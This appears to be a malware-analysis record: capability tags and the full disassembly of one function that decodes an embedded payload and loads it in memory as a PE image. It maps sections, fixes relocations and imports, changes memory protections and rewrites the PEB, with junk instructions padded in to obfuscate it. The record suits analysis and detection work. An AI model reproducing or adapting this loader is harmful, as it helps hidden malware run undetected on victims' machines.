Function at 0x403ee0
Capabilities:
Access peb ldr_data
Create thread
Encode data using base64
Enumerate pe sections
Get ntdll base address
Get number of processors
Inspect section memory permissions
Parse pe header

Disassembly:
push ebp
mov ebp, esp
push ebx
push edi
push esi
mov eax, 0x55b24
call fcn.00407570
mov eax, dword [ebp + 8]
lea ecx, [ebp - 0x55a10]
lea eax, [0x416a9e]
mov dword [esp], ecx
mov dword [esp + 4], eax
mov dword [esp + 8], 0x55a00
call fcn.00408280
sub ebx, 0x48
rol eax, 0x49
and edx, 0x90
mov esi, 0xb7
add eax, 0xcc
not eax
and edx, 0x84
or edx, 0xf
rol edi, 0xc7
sub edi, 0x11
or edi, 8
bswap eax
neg eax
neg edi
sbb edx, 0x2f
dec edx
and edi, 0xf
rcr esi, 0x49
and eax, 0xd3
mov edi, 0x5b
or edx, 0x54
ror edx, 0x39
rol edi, 8
sbb eax, 0x9d
neg edi
rcl edi, 0xa0
sub eax, 0xdf
mov edi, 0x4f
sbb ebx, 0xf0
neg esi
mov eax, 0x23
mov edx, 0x74
rcr ebx, 0xe6
and edx, 0x2d
imul edi
bswap edi
neg edx
imul edi
bswap eax
and eax, 0x76
imul esi
bswap ebx
not ebx
inc esi
add eax, 0x46
inc eax
rcl edx, 0xee
dec edx
not esi
rcl edi, 0xfb
dec ebx
inc edx
imul eax
neg ebx
bswap edx
neg eax
and ebx, 0xcf
imul edi
inc ebx
neg edx
neg esi
mov edx, 0xbc
not esi
neg edx
rol edx, 0x48
neg eax
rol edx, 0x61
inc ebx
bswap ebx
add eax, 0xe2
imul eax
or edx, 0xe9
and edx, 0xc6
bswap ebx
imul ebx
inc edi
dec ebx
dec edx
bswap eax
sbb edx, 0xab
imul esi
mov edi, 0xff
neg edx
imul esi
sub eax, 0xa9
inc esi
rol ebx, 3
imul eax
dec edx
or eax, 0xf4
dec edi
inc ebx
rcl esi, 0xe1
rol edx, 0xe7
bswap esi
neg esi
rcr esi, 0x17
and edi, 0x39
ror edi, 0x18
sub esi, 0xa8
imul eax
bswap ebx
bswap edi
bswap esi
rcl edi, 0x57
ror edi, 0xfd
bswap edi
not eax
neg esi
bswap eax
rol edx, 0x4c
neg edi
bswap edi
and esi, 0x96
rcr edx, 0xe7
rcl edi, 0x14
rcr edi, 0x30
sub edx, 0x4f
and esi, 0x1c
not edi
bswap edi
bswap esi
and edi, 0xd8
bswap eax
or edi, 0x84
neg edi
bswap ebx
dec esi
add esi, 0xbe
bswap edi
rcr edi, 0x24
imul esi
rol esi, 0xb6
rcl edi, 0x77
dec edx
not ebx
inc eax
bswap ebx
ror eax, 0x63
neg ebx
sub ebx, 0x21
or ebx, 0xf3
sbb ebx, 0x37
imul edi
neg esi
sub eax, 0xbf
rcl edi, 0x9b
bswap esi
bswap eax
not eax
bswap eax
bswap edx
not edx
and eax, 0x92
or esi, 0x4b
rcl eax, 0x45
not eax
inc esi
inc edi
bswap edx
rcl ebx, 0x97
rcl edx, 0x4d
rol edi, 0x85
rcr eax, 0x57
not ebx
sbb ebx, 0x32
sub edx, 0x2e
dec ebx
rol ebx, 0x44
dec ebx
ror edi, 0x23
bswap edx
sub edx, 0x30
neg eax
dec eax
or eax, 0x22
not edi
add edx, 0x68
rcr esi, 0x66
dec ebx
bswap esi
ror edi, 0x14
rcl esi, 0x2e
imul edx
not esi
rcl eax, 0x63
rcr edi, 0xfa
rcl edi, 0x1e
add eax, 0x65
not esi
add esi, 0x5c
or esi, 0x45
sbb eax, 0x62
or edi, 0xef
add edx, 0xe4
or edx, 0xe3
bswap edx
imul ebx
bswap edx
imul edx
mov dword [ebp - 0x10], eax
lea eax, [ebp - 0x55a10]
mov dword [esp], eax
mov dword [esp + 4], 0x55a00
call fcn.00403a50
lea eax, [ebp - 0x55a10]
mov dword [ebp + 8], eax
bswap eax
add edx, 0xb3
or eax, 0xc4
inc eax
rcr eax, 0x80
inc eax
neg edx
dec esi
and eax, 0x6e
mov eax, 0xbe
ror esi, 0x6c
imul esi
or ebx, 0xa4
not eax
not ebx
bswap edx
not eax
add esi, 0x23
imul edx
inc edi
bswap edi
sbb edi, 0xc3
mov edx, 0x5e
rcl ebx, 0xc2
sbb ebx, 0xe6
not esi
ror esi, 0x65
inc edx
rol eax, 0x7a
rcr edx, 0xe9
rcl eax, 0x93
imul ebx
sub edx, 0x27
sbb eax, 0x82
ror edi, 0xe1
sub eax, 0x45
bswap esi
rcr eax, 0x28
or esi, 0x6a
add eax, 8
mov ebx, 0xc1
rcl eax, 0xd5
imul edi
and edi, 0x8d
add edx, 0x15
dec esi
bswap edi
mov ebx, 0xa6
sbb esi, 0x85
imul edi
mov dword [ebp - 0x10], eax
mov eax, dword [ebp + 8]
mov dword [ebp - 0x55a14], eax
mov eax, dword [ebp + 8]
mov ecx, dword [ebp - 0x55a14]
add eax, dword [ecx + 0x3c]
mov dword [ebp - 0x55a18], eax
mov eax, dword [ebp - 0x55a18]
cmp dword [eax], 0x4550
je 0x404233
mov dword [ebp - 0x10], 1
jmp 0x405698
mov eax, dword [ebp - 0x55a18]
mov ecx, dword [eax + 0xa0]
mov dword [ebp - 0x55a20], ecx
mov eax, dword [eax + 0xa4]
mov dword [ebp - 0x55a1c], eax
mov eax, dword [ebp - 0x55a18]
mov eax, dword [eax + 0x50]
mov dword [ebp - 0x55b14], eax
cmp dword [ebp - 0x55a1c], 0
je 0x40427a
xor eax, eax
mov dword [ebp - 0x55b18], eax
jmp 0x404289
mov eax, dword [ebp - 0x55a18]
mov eax, dword [eax + 0x34]
mov dword [ebp - 0x55b18], eax
mov eax, dword [ebp - 0x55b14]
mov ecx, dword [ebp - 0x55b18]
mov dword [esp], ecx
mov dword [esp + 4], eax
mov dword [esp + 8], 0x3000
mov dword [esp + 0xc], 4
call dword [sym.imp.KERNEL32.dll_VirtualAlloc]
sub esp, 0x10
mov dword [ebp - 0x55a24], eax
cmp dword [ebp - 0x55a1c], 0
jne 0x4042e9
mov eax, dword [ebp - 0x55a24]
mov ecx, dword [ebp - 0x55a18]
cmp eax, dword [ecx + 0x34]
je 0x4042e9
mov dword [ebp - 0x10], 2
jmp 0x405698
sub eax, 0xb4
rcr eax, 0x93
bswap esi
rol esi, 0x49
sub edi, 0x4e
bswap edi
sbb eax, 0xb3
add eax, 0xe
inc ebx
bswap esi
imul edx
and ebx, 0xa4
bswap ebx
inc eax
not edi
dec esi
bswap edx
dec ebx
inc edi
inc edi
inc edi
inc edi
rcr edx, 0x15
mov edi, 0xf5
not edx
add edi, 0x4b
and ebx, 0xc0
sub edi, 0x76
neg edx
inc esi
rol esi, 0xc8
ror ebx, 0x67
inc edx
imul edx
sbb edx, 0x3c
dec edx
sbb edx, 0x56
bswap esi
inc esi
rol ebx, 0xeb
and eax, 0x4d
inc ebx
dec ebx
sub eax, 0x72
dec edx
not edx
inc edi
not edx
inc esi
neg edx
mov dword [ebp - 0x10], eax
mov eax, dword [ebp + 8]
mov ecx, dword [ebp - 0x55a24]
mov dword [esp], ecx
mov dword [esp + 4], eax
mov dword [esp + 8], 0x400
call fcn.00403eb0
neg edi
dec edx
add eax, 0x4c
rcr edx, 0x24
ror esi, 0x1b
imul edx
dec ebx
rcl edx, 0x6e
rcr edx, 0x6a
neg ebx
inc edx
inc edi
bswap edx
not edi
or edi, 0x8c
or esi, 0x8f
or esi, 0x15
bswap esi
neg edi
neg ebx
rcl ebx, 0xf0
not eax
not edi
not edx
imul eax
sub eax, 0xcc
bswap esi
dec esi
imul edi
rcr esi, 0x41
neg ebx
dec edi
bswap ebx
neg ebx
sub edx, 0xa1
imul edi
neg ebx
rcl edx, 0x65
imul esi
and eax, 0x5f
dec eax
imul edi
bswap edx
inc edi
not eax
imul esi
rcr ebx, 0x81
imul edx
ror esi, 0xbf
inc esi
sub eax, 0x4e
rol edx, 0xc0
dec ebx
imul eax
sub edi, 0xab
dec edi
sbb eax, 0x1b
or edx, 0x60
sbb esi, 0x20
add edx, 0xf2
sbb esi, 0x1b
dec edi
not esi
dec edx
not edi
rcr eax, 0x34
or ebx, 0x10
not eax
rcr edx, 0xaf
neg esi
or edx, 0x83
bswap esi
neg esi
rcl ebx, 0xb0
rol esi, 0x47
mov edi, 0xe
sub esi, 0xc0
ror edx, 2
not ebx
and edx, 0xe8
ror edx, 0x25
rol edx, 0xdf
inc eax
rcr esi, 0x2b
bswap edi
dec edi
inc eax
mov edi, 0x88
not eax
or eax, 0xbb
dec edx
sub ebx, 0x79
neg ebx
bswap ebx
imul edx
sub esi, 0x2e
dec edi
add edi, 0x2b
sbb esi, 0x6e
neg edx
bswap ebx
or edi, 0xeb
rcr edx, 0xc4
sbb eax, 0x23
or esi, 0x32
not edx
ror edi, 0x13
rcr eax, 0xfd
dec ebx
imul esi
or edi, 0x8c
rcr eax, 0x9e
and esi, 0x84
bswap edx
imul edi
and eax, 0xba
bswap edx
dec esi
dec eax
not edi
neg ebx
bswap esi
rcr edi, 0x2d
ror eax, 0xc3
rol edx, 0xc7
and edi, 0xef
inc edx
imul esi
not ebx
and esi, 0x2d
bswap eax
rol esi, 0x88
and esi, 0xf2
add esi, 0xcf
neg ebx
or edx, 0xbc
neg eax
not edi
not edi
sbb edx, 0xa2
neg eax
neg edi
bswap eax
rcl ebx, 0xee
or eax, 0xe1
sub edx, 0x6f
imul edi
imul edx
bswap edi
sbb edi, 0x2d
dec ebx
or edx, 0x36
dec ebx
not esi
add ebx, 0x58
ror ebx, 0xe5
not ebx
neg edi
rol edx, 0x40
or eax, 0x11
not edi
rol eax, 0x6a
dec eax
inc edi
imul esi
imul eax
sbb ebx, 0x20
dec esi
neg eax
bswap eax
dec edi
neg ebx
add ebx, 0x38
mov edi, 0x95
not edx
inc ebx
bswap edx
bswap edi
dec esi
imul edx
inc eax
imul ebx
bswap eax
add ebx, 0xe7
and esi, 0x1b
bswap edx
not eax
dec eax
rcr edi, 0xe4
imul edi
add ebx, 0x3f
rol esi, 0x8f
ror edi, 0xf9
imul ebx
neg esi
dec edx
inc edi
inc esi
sub eax, 0x89
sbb esi, 0x92
inc eax
neg edi
rol esi, 0x38
bswap eax
neg ebx
inc edx
not edx
neg ebx
imul eax
imul edx
ror edi, 0x66
neg edi
sub eax, 0x53
inc eax
or edi, 0xfe
imul esi
not edx
inc esi
inc esi
mov esi, 0x27
rcl ebx, 0xac
or esi, 0x15
ror esi, 0xa8
sbb ebx, 0x2f
ror edx, 0x6f
mov esi, 0x7a
not edx
imul esi
imul edi
inc eax
inc edi
dec edx
sbb edx, 0x59
inc ebx
mov edi, 0xbd
bswap eax
rcl ebx, 0xd0
not ebx
neg eax
mov eax, 0x17
and edi, 0x47
not eax
not esi
add edi, 0xd7
dec edx
dec edi
or edx, 9
or eax, 0xb4
neg esi
add esi, 6
mov dword [ebp - 0x10], eax
mov eax, dword [ebp - 0x55a18]
add eax, 0x18
mov ecx, dword [ebp - 0x55a18]
movzx ecx, word [ecx + 0x14]
add eax, ecx
mov dword [ebp - 0x55a28], eax
mov dword [ebp - 0x55a2c], 0
mov eax, dword [ebp - 0x55a2c]
mov ecx, dword [ebp - 0x55a18]
movzx ecx, word [ecx + 6]
cmp eax, ecx
jge 0x4046a2
mov eax, dword [ebp - 0x55a28]
imul ecx, dword [ebp - 0x55a2c], 0x28
add eax, ecx
mov eax, dword [eax + 0x10]
mov ecx, dword [ebp + 8]
mov edx, dword [ebp - 0x55a28]
imul esi, dword [ebp - 0x55a2c], 0x28
add edx, esi
add ecx, dword [edx + 0x14]
mov edx, dword [ebp - 0x55a24]
mov esi, dword [ebp - 0x55a28]
imul edi, dword [ebp - 0x55a2c], 0x28
add esi, edi
add edx, dword [esi + 0xc]
mov dword [esp], edx
mov dword [esp + 4], ecx
mov dword [esp + 8], eax
call fcn.00403eb0
mov eax, dword [ebp - 0x55a2c]
add eax, 1
mov dword [ebp - 0x55a2c], eax
jmp 0x404627
sbb ebx, 0x66
not eax
not ebx
rcr edx, 0x5e
not edx
dec edi
add ebx, 0x91
inc eax
rol esi, 0x6c
imul ebx
neg ebx
rol edi, 0x65
not esi
rcr eax, 0xa9
ror edx, 0xa4
sub eax, 0xd3
neg ebx
imul edi
rcl esi, 0xd4
not edx
imul edi
sub edx, 0x21
inc eax
sub ebx, 0xc1
dec ebx
dec edi
ror ebx, 0x2b
rcl eax, 0xb6
bswap esi
rcr eax, 0xef
inc edi
sbb edi, 0xa1
imul edx
imul ebx
mov edi, 0xf1
neg edx
inc edx
not edx
neg eax
mov esi, 0x5a
rol eax, 0x80
neg eax
dec edi
imul edi
rcl ebx, 0xe9
bswap eax
dec edx
not edi
not edx
ror esi, 0x6a
mov dword [ebp - 0x10], eax
mov eax, dword [ebp - 0x55a24]
mov ecx, dword [ebp - 0x55a18]
cmp eax, dword [ecx + 0x34]
je 0x404855
mov eax, dword [ebp - 0x55a24]
mov ecx, dword [ebp - 0x55a18]
sub eax, dword [ecx + 0x34]
mov dword [ebp - 0x55a30], eax
mov eax, dword [ebp - 0x55a24]
add eax, dword [ebp - 0x55a20]
mov dword [ebp - 0x55a34], eax
mov dword [ebp - 0x55a38], 0
mov eax, dword [ebp - 0x55a38]
cmp eax, dword [ebp - 0x55a1c]
jae 0x404850
mov eax, dword [ebp - 0x55a24]
mov ecx, dword [ebp - 0x55a34]
add eax, dword [ecx]
mov dword [ebp - 0x55a3c], eax
mov eax, dword [ebp - 0x55a34]
mov eax, dword [eax + 4]
sub eax, 8
shr eax, 1
mov dword [ebp - 0x55a40], eax
mov eax, dword [ebp - 0x55a34]
add eax, 8
mov dword [ebp - 0x55a44], eax
mov dword [ebp - 0x55a48], 0
mov eax, dword [ebp - 0x55a48]
cmp eax, dword [ebp - 0x55a40]
jge 0x40482a
mov eax, dword [ebp - 0x55a44]
movzx eax, word [eax]
sar eax, 0xc
and eax, 3
cmp eax, 0
je 0x404807
mov ecx, dword [ebp - 0x55a30]
mov eax, dword [ebp - 0x55a3c]
mov edx, dword [ebp - 0x55a44]
movzx edx, word [edx]
and edx, 0xfff
add eax, edx
add ecx, dword [eax]
mov dword [eax], ecx
mov eax, dword [ebp - 0x55a44]
add eax, 2
mov dword [ebp - 0x55a44], eax
mov eax, dword [ebp - 0x55a48]
add eax, 1
mov dword [ebp - 0x55a48], eax
jmp 0x4047bc
mov eax, dword [ebp - 0x55a34]
mov eax, dword [eax + 4]
add eax, dword [ebp - 0x55a38]
mov dword [ebp - 0x55a38], eax
mov eax, dword [ebp - 0x55a44]
mov dword [ebp - 0x55a34], eax
jmp 0x404769
jmp 0x404855
dec esi
inc edx
not edx
neg ebx
add edx, 0xea
bswap edx
and ebx, 0x7d
or edi, 0x4b
not esi
not ebx
not eax
mov edx, 0xd
rcr edi, 0x61
inc esi
imul eax
not esi
add eax, 0x29
bswap edi
dec ebx
and esi, 0xe6
inc edi
inc edi
imul edx
or eax, 1
dec edx
neg eax
imul eax
not ebx
imul edx
inc ebx
inc esi
neg ebx
inc esi
sbb esi, 0x46
bswap edx
ror ebx, 0x3b
not ebx
bswap eax
neg esi
not ebx
dec edi
not eax
not ebx
rol eax, 0xf3
add edx, 0xa5
rcl eax, 0x3a
imul eax
dec edi
or edx, 0xfe
not edx
ror edi, 0xd8
not edi
add ebx, 0x39
rcl esi, 0x38
not edi
rcl eax, 0x7a
imul edx
sub eax, 0x8c
not edi
dec eax
dec edi
sbb edx, 0x24
rcl eax, 0xaf
rol edi, 0x17
sbb eax, 0xe0
bswap esi
not ebx
mov edx, 0xd2
rol edx, 0xab
imul ebx
or esi, 0x6e
inc edi
or edi, 0x18
sub edx, 3
bswap ebx
sub ebx, 0x77
neg edx
imul ebx
and ebx, 0x6b
add edi, 0x56
not eax
dec esi
ror eax, 0xa6
sub edx, 0x33
rol edi, 0xd6
rcl esi, 0x75
bswap ebx
rcl ebx, 0xe2
rol eax, 0xe3
inc edx
imul eax
inc edx
dec edx
imul edi
not esi
rol ebx, 0xc4
rol edi, 0xed
dec eax
neg edi
sub eax, 0x44
imul esi
add edi, 0xe8
rol ebx, 0xf6
rol edx, 0xe5
imul ebx
inc ebx
bswap esi
not edi
rol esi, 0x20
dec esi
bswap ebx
and eax, 0x3b
rol eax, 0x87
inc edi
bswap ebx
rcl esi, 0x8a
imul edi
rol esi, 0xb2
add edx, 0xc5
inc edi
inc edx
neg eax
neg eax
sbb eax, 0xd5
not ebx
inc esi
not edx
neg edi
bswap edi
mov edi, 0x92
neg ebx
rol ebx, 0xf8
neg ebx
ror ebx, 0x21
imul edx
imul esi
not esi
rcl esi, 0xbb
mov esi, 0xa
not edi
not eax
dec esi
or edi, 0xa7
and ebx, 0xf8
not eax
dec eax
sbb esi, 0x54
sbb ebx, 0x5a
sub eax, 0x1e
sub edi, 0xfa
mov dword [ebp - 0x10], eax
mov eax, dword [ebp - 0x55a24]
mov ecx, dword [ebp - 0x55a18]
add eax, dword [ecx + 0x80]
mov dword [ebp - 0x55a4c], eax
mov dword [ebp - 0x55a50], 0
mov eax, dword [ebp - 0x55a4c]
imul ecx, dword [ebp - 0x55a50], 0x14
add eax, ecx
cmp dword [eax + 0x10], 0
je 0x404b62
mov eax, dword [ebp - 0x55a24]
mov ecx, dword [ebp - 0x55a4c]
imul edx, dword [ebp - 0x55a50], 0x14
add ecx, edx
add eax, dword [ecx + 0xc]
mov dword [ebp - 0x55a54], eax
mov eax, dword [ebp - 0x55a54]
mov dword [esp], eax
call dword [sym.imp.KERNEL32.dll_LoadLibraryA]
sub esp, 4
mov dword [ebp - 0x55a58], eax
cmp dword [ebp - 0x55a58], 0
jne 0x404a51
jmp 0x404b4e
mov eax, dword [ebp - 0x55a24]
mov ecx, dword [ebp - 0x55a4c]
imul edx, dword [ebp - 0x55a50], 0x14
add ecx, edx
add eax, dword [ecx + 0x10]
mov dword [ebp - 0x55a5c], eax
mov dword [ebp - 0x55a60], 0
mov eax, dword [ebp - 0x55a5c]
mov ecx, dword [ebp - 0x55a60]
cmp dword [eax + ecx*4], 0
je 0x404b49
mov eax, dword [ebp - 0x55a24]
mov ecx, dword [ebp - 0x55a5c]
mov edx, dword [ebp - 0x55a60]
add eax, dword [ecx + edx*4]
mov dword [ebp - 0x55a64], eax
mov eax, dword [ebp - 0x55a5c]
mov ecx, dword [ebp - 0x55a60]
mov eax, dword [eax + ecx*4]
movzx eax, ax
mov ecx, dword [ebp - 0x55a58]
mov dword [esp], ecx
mov dword [esp + 4], eax
call dword [sym.imp.KERNEL32.dll_GetProcAddress]
sub esp, 8
mov dword [ebp - 0x55a68], eax
cmp dword [ebp - 0x55a68], 0
jne 0x404b0a
mov eax, dword [ebp - 0x55a64]
add eax, 2
mov ecx, dword [ebp - 0x55a58]
mov dword [esp], ecx
mov dword [esp + 4], eax
call dword [sym.imp.KERNEL32.dll_GetProcAddress]
sub esp, 8
mov dword [ebp - 0x55a68], eax
mov ecx, dword [ebp - 0x55a68]
mov eax, dword [ebp - 0x55a24]
mov edx, dword [ebp - 0x55a4c]
imul esi, dword [ebp - 0x55a50], 0x14
add edx, esi
add eax, dword [edx + 0x10]
mov edx, dword [ebp - 0x55a60]
shl edx, 2
add eax, edx
mov dword [eax], ecx
mov eax, dword [ebp - 0x55a60]
add eax, 1
mov dword [ebp - 0x55a60], eax
jmp 0x404a79
jmp 0x404b4e
mov eax, dword [ebp - 0x55a50]
add eax, 1
mov dword [ebp - 0x55a50], eax
jmp 0x4049f0
mov dword [ebp - 0x55a70], 0
mov eax, dword [ebp - 0x55a70]
mov ecx, dword [ebp - 0x55a18]
movzx ecx, word [ecx + 6]
cmp eax, ecx
jge 0x404cee
mov dword [ebp - 0x55a74], 0x40
mov eax, dword [ebp - 0x55a28]
imul ecx, dword [ebp - 0x55a70], 0x28
add eax, ecx
mov eax, dword [eax + 0x24]
mov dword [ebp - 0x55a78], eax
mov eax, dword [ebp - 0x55a78]
and eax, 0x40000000
cmp eax, 0
je 0x404bf1
mov eax, dword [ebp - 0x55a78]
and eax, 0x80000000
cmp eax, 0
je 0x404bf1
mov eax, dword [ebp - 0x55a78]
and eax, 0x20000000
cmp eax, 0
je 0x404bf1
mov dword [ebp - 0x55a74], 0x40
jmp 0x404c8c
mov eax, dword [ebp - 0x55a78]
and eax, 0x40000000
cmp eax, 0
je 0x404c28
mov eax, dword [ebp - 0x55a78]
and eax, 0x80000000
cmp eax, 0
je 0x404c28
mov dword [ebp - 0x55a74], 4
jmp 0x404c87
mov eax, dword [ebp - 0x55a78]
and eax, 0x40000000
cmp eax, 0
je 0x404c5f
mov eax, dword [ebp - 0x55a78]
and eax, 0x20000000
cmp eax, 0
je 0x404c5f
mov dword [ebp - 0x55a74], 0x20
jmp 0x404c82
mov eax, dword [ebp - 0x55a78]
and eax, 0x40000000
cmp eax, 0
je 0x404c7d
mov dword [ebp - 0x55a74], 2
jmp 0x404c82
jmp 0x404c87
jmp 0x404c8c
mov ecx, dword [ebp - 0x55a74]
mov eax, dword [ebp - 0x55a28]
imul edx, dword [ebp - 0x55a70], 0x28
add eax, edx
mov edx, dword [eax + 8]
mov esi, dword [ebp - 0x55a24]
mov eax, dword [ebp - 0x55a28]
imul edi, dword [ebp - 0x55a70], 0x28
add eax, edi
add esi, dword [eax + 0xc]
lea eax, [ebp - 0x55a6c]
mov dword [esp], esi
mov dword [esp + 4], edx
mov dword [esp + 8], ecx
mov dword [esp + 0xc], eax
call dword [sym.imp.KERNEL32.dll_VirtualProtect]
sub esp, 0x10
mov eax, dword [ebp - 0x55a70]
add eax, 1
mov dword [ebp - 0x55a70], eax
jmp 0x404b6c
rcl edx, 0x1f
sbb eax, 0x7f
and esi, 0xa7
and eax, 0xb7
neg esi
neg eax
and edi, 0x2d
rol esi, 0x2e
mov ebx, 0x7a
neg edx
rcr eax, 0x5e
inc edi
dec edx
inc edx
bswap ebx
neg ebx
imul ebx
inc eax
not edi
not edi
inc esi
mov edi, 0x6a
rcl ebx, 0xbb
inc edx
and ebx, 0x51
dec edi
bswap esi
rcl eax, 1
ror edi, 0x5e
add edx, 0x64
rcl ebx, 0xb1
dec edx
inc edi
not esi
neg edi
sub edx, 0xfc
rcl eax, 0xdc
rcr eax, 0x5f
not eax
inc eax
dec edi
neg ebx
or edx, 0xd5
rcl edx, 0xd1
mov edi, 0x78
bswap ebx
dec edi
neg ebx
rcr edx, 0xd6
inc eax
add eax, 0xfd
add edi, 0xa2
rcr edx, 0xd6
or esi, 0x2e
rcl edx, 0xaa
inc esi
not eax
ror ebx, 0x45
imul eax
neg edi
rol edi, 0xbf
ror esi, 5
inc eax
neg eax
or eax, 0x19
rcr edi, 0xbb
neg esi
add edx, 0xc1
not ebx
rcl edi, 0x97
dec esi
inc edi
and ebx, 0x96
not edi
dec eax
imul edi
and edx, 0x2c
mov esi, 0x4f
not edx
mov esi, 0x4c
inc eax
add edi, 0x87
rcl edx, 6
sbb esi, 0xa5
ror edi, 0xd4
imul edi
or ebx, 7
neg edi
imul ebx
bswap esi
or esi, 0xd5
and eax, 0xa7
inc edi
rcl ebx, 0x85
not ebx
neg eax
inc edi
rcr eax, 0xb5
and ebx, 0xd1
ror edi, 0x85
bswap edi
inc esi
dec edi
rcr edx, 0x1f
rcl esi, 0xf9
imul eax
and ebx, 0xb2
imul edx
or esi, 0x44
neg edx
not eax
imul eax
bswap esi
not edx
sbb ebx, 0xb4
dec esi
bswap edx
or eax, 0xb5
sbb ebx, 0xa2
and ebx, 0xca
imul edx
neg esi
mov edx, 0x19
rcl esi, 0xcc
sbb edi, 0x15
dec esi
sub ebx, 0xe5
rol edi, 0x8a
rol eax, 0xc8
rcr edi, 0x70
imul ebx
neg edx
imul ebx
bswap esi
and ebx, 0xe2
inc eax
rol edi, 0x30
bswap esi
ror eax, 0x59
sub edi, 0xc2
rcl ebx, 0x53
neg edx
rcl ebx, 0x7b
bswap ebx
rcl eax, 0x6a
not edi
rol ebx, 0x5c
inc eax
rcr eax, 0xb5
neg esi
mov dword [ebp - 0x10], eax
mov eax, dword fs:[0x30]
mov dword [ebp - 0x55a7c], eax
mov eax, dword [ebp - 0x55a7c]
mov eax, dword [eax + 0xc]
mov dword [ebp - 0x55a80], eax
mov eax, dword [ebp - 0x55a80]
mov eax, dword [eax + 0x14]
sub eax, 8
mov dword [ebp - 0x55a84], eax
dec edi
not edi
imul esi
and eax, 0x7c
and eax, 0xac
sub edx, 0x68
sbb eax, 0x7a
imul edi
rcr eax, 0x9e
neg edx
sbb edi, 0xdc
mov eax, 0xd5
or edx, 0x7c
rol ebx, 0x8b
not eax
neg esi
imul eax
not edi
or ebx, 0xd
sub edi, 0xda
dec eax
inc edi
sub eax, 0xcb
ror esi, 0x81
inc edi
imul edi
imul edx
bswap edx
imul edx
sbb edi, 0xec
bswap ebx
bswap ebx
rcl ebx, 0xc1
add edx, 0x73
inc eax
sbb eax, 0x21
imul ebx
neg eax
neg esi
sbb eax, 0xcd
inc edx
sub esi, 0x39
neg ebx
rcr eax, 0x89
bswap eax
add esi, 0xc9
bswap eax
imul edi
sbb edi, 0x86
sbb esi, 0xc0
not ebx
rcl esi, 0x40
neg edi
inc edi
not edi
add esi, 0
and eax, 0x3b
not esi
rcr ebx, 0x39
sbb edx, 0x8f
inc ebx
imul esi
neg edx
imul edx
sub eax, 0xbf
neg esi
mov eax, 0xa4
imul ebx
imul edi
inc ebx
rol ebx, 0x3f
not edx
rcr ebx, 0x32
dec edi
or edx, 0x1a
not esi
bswap edi
add esi, 0x74
rcr esi, 0x31
ror eax, 0x2e
ror edx, 0x75
bswap edx
sub esi, 0xdb
ror edx, 0xa4
ror esi, 0xd1
rcr edi, 0xa4
not eax
sbb edi, 0x94
rcl esi, 0x66
not edi
add esi, 0x5b
not eax
neg edi
dec eax
imul eax
dec edi
sub edx, 0x44
add ebx, 0x2f
neg edi
or eax, 0xb
neg ebx
inc edi
and esi, 0xb1
bswap eax
bswap eax
inc edi
neg edi
neg ebx
rcl edi, 0x9b
dec esi
ror edi, 0x7b
or eax, 0x93
inc esi
sbb esi, 0x24
rcr edi, 0xce
bswap edx
or edi, 0x29
rcl edx, 0x19
sbb ebx, 0x73
dec edi
dec esi
rcr eax, 0x22
and eax, 0x75
mov ebx, 0xee
inc edi
not ebx
dec edx
rol eax, 0xc0
rol ebx, 0x15
bswap edx
bswap edi
not esi
ror eax, 0x4c
not edx
sbb esi, 0x35
neg eax
mov esi, 0xb2
or edi, 0x11
rol edx, 0x59
sub edx, 0x9c
add eax, 0x23
dec eax
sbb edx, 0x21
imul eax
add ebx, 0x29
dec ebx
neg ebx
dec ebx
or esi, 0xe
neg edi
mov dword [ebp - 0x10], eax
mov ecx, dword [ebp - 0x55a24]
mov eax, dword [ebp - 0x55a7c]
mov dword [eax + 8], ecx
mov ecx, dword [ebp - 0x55a24]
mov eax, dword [ebp - 0x55a84]
mov dword [eax + 0x18], ecx
mov eax, dword [ebp - 0x55a84]
add eax, 0x24
mov dword [ebp - 0x55a88], eax
dec esi
or esi, 0x2d
imul eax
add edx, 0xd2
not esi
rcr edi, 0x66
inc edi
or edi, 0xf0
not edi
add edx, 0x20
rcr esi, 0xf0
rcr eax, 0x9c
imul edx
bswap esi
rol eax, 0x85
inc eax
not edi
and ebx, 0xa
ror edx, 0x42
not ebx
rol esi, 0x27
rcr esi, 0x25
rol esi, 0xb
not eax
rcl eax, 0x5a
and esi, 0x74
not eax
dec ebx
rcl esi, 0xb5
and edx, 0x86
or esi, 0xa1
rcl ebx, 0x2a
neg esi
neg esi
not eax
dec esi
add esi, 0xb7
bswap esi
bswap edx
dec esi
and eax, 0x13
neg esi
bswap eax
neg eax
and esi, 0x8f
add ebx, 0xda
bswap edi
or edi, 0x2d
inc eax
bswap edi
rcl edi, 0xf3
dec ebx
bswap esi
or edi, 0xbf
inc edi
rcl esi, 0x95
not edx
neg ebx
inc esi
bswap edx
dec esi
imul edx
bswap eax
neg eax
not esi
inc esi
imul eax
dec ebx
rol edx, 0x3f
mov edx, 9
sbb edx, 0xec
rcl edx, 0x90
ror ebx, 0x10
not ebx
inc edx
bswap edx
neg edi
ror edi, 0x24
dec eax
inc edx
dec edx
neg edx
imul ebx
sub eax, 0x4b
sub ebx, 0xc2
dec eax
mov edx, 0xe5
sbb edx, 0x7f
add edi, 0x5e
rcr edi, 0x30
rol eax, 0xff
bswap esi
ror edx, 2
inc edi
sub esi, 0x1e
add esi, 0xc0
rcl esi, 0xe2
bswap esi
imul edi
neg esi
and ebx, 0x79
mov eax, 0x23
rcl esi, 0xbd
bswap esi
bswap eax
mov esi, 0x11
ror edx, 0xf8
not eax
rcl eax, 0xbc
ror edx, 0xe1
sbb edi, 0x5b
ror ebx, 0xbb
and eax, 0x15
inc ebx
dec esi
rol ebx, 0xc2
inc edi
imul ebx
rol edi, 0x6b
sbb eax, 0x11
mov esi, 0x31
dec edi
sub esi, 0x86
rol esi, 0x8a
dec edi
not esi
bswap edi
sbb edx, 0x2f
imul esi
mov edx, 0xe7
inc esi
sbb edx, 0x2e
dec edx
sub eax, 0xa0
not esi
rcr ebx, 0xb9
sub ebx, 0x24
mov edi, 0xf9
neg esi
and edx, 0xd7
ror edi, 0xb2
imul edi
inc esi
rol edx, 0xe9
sub edi, 0x6b
dec edx
neg eax
rol ebx, 0xda
rcl edi, 0xcb
rcr esi, 7
mov dword [ebp - 0x10], eax
lea ecx, [ebp - 0x55b02]
lea eax, [0x46c49e]
mov dword [esp], ecx
mov dword [esp + 4], eax
mov dword [esp + 8], 0x7a
call fcn.00408280
mov eax, dword [ebp - 0x55a18]
cmp dword [eax + 0xe8], 0
setne al
and al, 1
mov byte [ebp - 0x55b03], al
test byte [ebp - 0x55b03], 1
je 0x4052a5
mov eax, dword [ebp - 0x55a88]
lea ecx, [ebp - 0x55b0c]
mov dword [esp], ecx
mov dword [esp + 4], eax
